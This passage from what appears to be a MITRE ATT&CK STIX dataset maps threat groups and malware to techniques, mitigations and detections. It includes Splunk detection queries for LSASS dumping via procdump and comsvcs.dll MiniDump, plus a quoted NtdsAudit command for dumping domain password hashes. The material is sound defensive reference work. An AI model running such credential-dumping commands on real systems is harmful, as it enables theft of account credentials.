"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--64556727-5528-4503-bf45-f951933c8758", "created": "2022-04-28T16:10:16.579Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for abnormal process creations, such as a Command and Scripting Interpreter spawning from a potentially exploited application. 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(2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "source_name": "Unit42 Emissary Panda May 2019"}], "modified": "2021-10-12T19:21:39.384Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a variety of Web shells.(Citation: Unit42 Emissary Panda May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6476b9fe-dc7f-4578-a39d-beebc8390af2", "type": "relationship", "created": "2017-05-31T21:33:27.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/faq-the-projectsauron-apt/75533/", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", "source_name": "Kaspersky ProjectSauron Blog"}], "modified": "2020-03-23T16:14:37.241Z", "description": "[Strider](https://attack.mitre.org/groups/G0041) has used local servers with both local network and Internet access to act as internal proxy nodes to exfiltrate data from other parts of the network without direct Internet access.(Citation: Kaspersky ProjectSauron Blog)", "relationship_type": "uses", "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--6479de0b-2907-4346-95a4-063af662c689", "created": "2022-02-09T14:32:47.659Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094)  has used HTTP GET and POST requests for C2.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T15:57:01.694Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--647cf3e6-dcb2-4da2-a60d-b3118cb966bc", "created": "2023-08-17T17:16:27.485Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-10T17:05:44.458Z", "description": "[QUIETEXIT](https://attack.mitre.org/software/S1084) can establish a TCP connection as part of its initial connection to the C2.(Citation: Mandiant APT29 Eye Spy Email Nov 22)", "relationship_type": "uses", "source_ref": "malware--4816d361-f82b-4a18-aa05-b215e7cf9200", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6485bfc6-53b5-43c1-9c52-6a35c3fc630d", "type": "relationship", "created": "2020-06-01T13:16:32.965Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Preventing SMB", "url": "https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections", "description": "Microsoft. (2020, March 10). Preventing SMB traffic from lateral connections and entering or leaving the network. Retrieved June 1, 2020."}], "modified": "2022-03-08T19:31:22.862Z", "description": "Consider using the host firewall to restrict file sharing communications such as SMB. (Citation: Microsoft Preventing SMB)", "relationship_type": "mitigates", "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6494b2d2-8f8f-4e81-886c-dadd57df6edc", "type": "relationship", "created": "2020-05-15T16:50:05.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FSecure Lokibot November 2019", "url": "https://www.f-secure.com/v-descs/trojan_w32_lokibot.shtml", "description": "Kazem, M. (2019, November 25). Trojan:W32/Lokibot. Retrieved May 15, 2020."}], "modified": "2020-05-15T16:50:05.782Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has the ability to capture input on the compromised host via keylogging.(Citation: FSecure Lokibot November 2019)", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6495caa4-0de9-43ae-b19d-68dc846c16cc", "created": "2022-03-30T14:26:51.853Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:02:22.673Z", "description": "Monitor for newly executed processes that may be indicative of credential dumping. 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Therefore, because the LSASS process ID is non-deterministic, the MiniDump detection isn\u2019t specific to LSASS dumping and may need to be tuned to help reduce false positives.\n- When monitoring for .dll  functions on the command-line be sure to also check for the ordinal associated with the function.\n\nAnalytic 1 - Procdump\n\n```(source=WinEventLog:\"*Security\" EventCode=\"4688\") OR (source=WinEventLog:\"*Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") AND Image=\"procdump*.exe\" | where CommandLine LIKE \"%lsass%\"```\n\nAnalytic 2 - MiniDump via rundll32\n\n```(source=WinEventLog:\"*Security\" EventCode=\"4688\") OR (source=WinEventLog:\"*Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") AND Image=\"\\*rundll32.exe\" | where CommandLine LIKE \"%comsvcs.dll MiniDump%\" OR CommandLine=\"_comsvcs.dll,#24\")```\n", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--649748ff-e2d0-4369-8f5d-3c8b5b5010ed", "type": "relationship", "created": "2020-05-18T19:46:02.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro POWERSTATS V3 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/", "description": "Lunghi, D. and Horejsi, J.. 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(2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-06T19:39:44.105Z", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has been spread through Word documents containing malicious macros.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--64a17aba-5182-4666-bd37-dafa9d835fe8", "created": "2017-05-31T21:33:27.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta Blockbuster RATs", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"}, {"source_name": "Novetta Blockbuster", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}, {"source_name": "Qualys LolZarus", "description": "Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022.", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns"}, {"source_name": "Kaspersky ThreatNeedle Feb 2021", "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.", "url": "https://securelist.com/lazarus-threatneedle/100803/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-14T18:01:32.528Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used WMIC for discovery as well as to execute payloads for persistence and lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)(Citation: Kaspersky ThreatNeedle Feb 2021)(Citation: Qualys LolZarus)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--64a40a9a-ddea-430d-ab08-77c350d83497", "created": "2021-06-11T19:29:44.680Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}, {"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can collect data on a compromised host.(Citation: Malwarebytes Kimsuky June 2021)(Citation: KISA Operation Muzabi)", "modified": "2022-04-12T18:37:03.594Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--64a76055-30c2-416f-be02-67f26c2c3b58", "created": "2022-07-18T22:55:42.196Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for account authentications in which MFA credentials are not provided by the user account to the authenticating entity. ", "modified": "2022-08-30T14:31:22.910Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", "target_ref": "attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--64aa92d9-abdb-494c-8646-8548aa7c25a5", "created": "2022-01-07T15:34:48.209Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.678Z", "description": "[Axiom](https://attack.mitre.org/groups/G0001) has used digital certificates to deliver malware.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--64aab090-e7c2-4114-8c15-49700b611fb8", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments", "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", "source_name": "Symantec Sowbug Nov 2017"}], "modified": "2019-03-25T16:57:02.859Z", "description": "(Citation: Symantec Sowbug Nov 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", "target_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--64abef3c-d453-4782-b084-25f684b3f7ae", "created": "2020-08-27T17:29:05.237Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cycraft Chimera April 2020", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.", "url": "https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}, {"source_name": "NCC Group Chimera January 2021", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T18:11:56.974Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has gathered the SYSTEM registry and ntds.dit files from target systems.(Citation: Cycraft Chimera April 2020) [Chimera](https://attack.mitre.org/groups/G0114) specifically has used the NtdsAudit tool to dump the password hashes of domain users via <code>msadcs.exe \"NTDS.dit\" -s \"SYSTEM\" -p RecordedTV_pdmp.txt --users-csv RecordedTV_users.csv</code> and used ntdsutil to copy the Active Directory database.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--64af40e2-5138-429c-9b24-2f5ba846d668", "created": "2022-06-09T14:50:01.326Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET DazzleSpy Jan 2022", "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.", "url": "https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-19T20:30:05.500Z", "description": "[MacMa](https://attack.mitre.org/software/S1016) can collect then exfiltrate files from the compromised system.(Citation: ESET DazzleSpy Jan 2022)", "relationship_type": "uses", "source_ref": "malware--bdee9574-7479-4073-a7dc-e86d8acd073a", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--64af911e-0b75-45b5-903d-b1ab4676556f", "type": "relationship", "created": "2019-06-25T14:33:33.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://en.wikipedia.org/wiki/IEEE_802.1X", "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.", "source_name": "Wikipedia 802.1x"}], "modified": "2022-01-24T16:48:59.417Z", "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. 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Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) has the ability to perform anti-virtualization checks.(Citation: Proofpoint Bumblebee April 2022)", "modified": "2022-08-22T14:57:07.021Z", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6523c653-4f85-425c-a891-6df522e8c841", "created": "2023-07-28T18:05:43.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). 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(2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"}], "modified": "2020-03-18T00:19:41.214Z", "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070)'s installer contains a malicious file named navlu.dll to decrypt and run the RAT. navlu.dll is also the name of a legitimate Symantec DLL.(Citation: ZScaler Hacking Team)", "relationship_type": "uses", "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--655005cc-a289-4878-8dc0-64f0c7d167c4", "type": "relationship", "created": "2020-06-08T18:06:36.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky TajMahal April 2019", "url": "https://securelist.com/project-tajmahal/90240/", "description": "GReAT. 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Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T15:57:21.014Z", "description": "[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has used custom malware, including [Mongall](https://attack.mitre.org/software/S1026) and [Heyoka Backdoor](https://attack.mitre.org/software/S1027), in their operations.(Citation: SentinelOne Aoqin Dragon June 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa", "target_ref": "attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--65692352-9f25-4410-b715-5cdce6ee25cd", "type": "relationship", "created": "2021-10-11T16:56:45.459Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Lokibot Jan 2021", "url": "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html", "description": "Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021."}], "modified": "2021-10-11T16:56:45.459Z", "description": "[Lokibot](https://attack.mitre.org/software/S0447) has used <code>cmd /c</code> commands embedded within batch scripts.(Citation: Talos Lokibot Jan 2021) ", "relationship_type": "uses", "source_ref": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--657cb17c-b227-4f97-a19a-e1b0fb7c839d", "type": "relationship", "created": "2020-08-17T14:08:26.154Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}], "modified": "2020-08-17T14:08:26.154Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can use a modified base32 encoding to encode data within the subdomain of C2 requests.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--65838f5f-0cc3-4e33-953a-11f1e5e7a20e", "created": "2021-11-12T19:30:36.056Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). 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Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Diavol](https://attack.mitre.org/software/S0659) has obfuscated its main code routines within bitmap images as part of its anti-analysis techniques.(Citation: Fortinet Diavol July 2021) ", "modified": "2022-04-14T20:19:51.970Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--65873300-d130-4ee0-896a-7125633ba788", "created": "2022-07-08T12:39:50.584Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. ", "modified": "2022-07-08T12:39:50.584Z", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--658b16c0-1d63-48f0-8ea6-461410088ca1", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor for newly executed processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--658f822e-f11c-4c36-8097-8dd21f45b42e", "type": "relationship", "created": "2021-09-29T22:24:15.643Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.643Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has collected browser bookmark information to learn more about compromised hosts, obtain personal information about users, and acquire details about internal network resources.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--658fcd28-934d-4077-b93e-89af9512de5f", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit42 Emissary Panda May 2019", "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/"}, {"source_name": "Securelist LuckyMouse June 2018", "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/"}, {"source_name": "Nccgroup Emissary Panda May 2018", "description": 